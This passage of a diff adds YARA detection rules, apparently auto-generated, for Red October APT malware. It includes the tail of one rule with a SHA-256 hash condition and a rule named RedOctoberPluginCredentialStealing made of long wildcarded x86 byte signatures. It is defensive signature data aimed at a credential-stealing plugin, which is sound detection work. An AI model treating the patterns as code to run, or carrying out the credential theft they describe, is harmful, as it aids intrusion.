+		$block_25 = { 8B ?? ?? 33 ?? 5? 33 ?? 4? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_26 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_27 = { 8B ?? ?? 5? 33 ?? 32 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "79cf65316806b8e30ef0baaa14bf891720fd17578e9789f199084ff5f522014b" or
+		12 of them
+}
+
+rule RedOctoberPluginCredentialStealing {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? 5? 5? 5? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? FF D? 8B ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 4? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 4? FF 0? ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 4? A1 ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 4? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 03 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF D? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 4? 8B ?? FF 0? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 0B ?? 0F 84 }
+		$block_1 = { 8B ?? 5? 5? 5? 03 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? 8B ?? 4? BF ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 8B ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 4? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0B ?? 0F 84 }
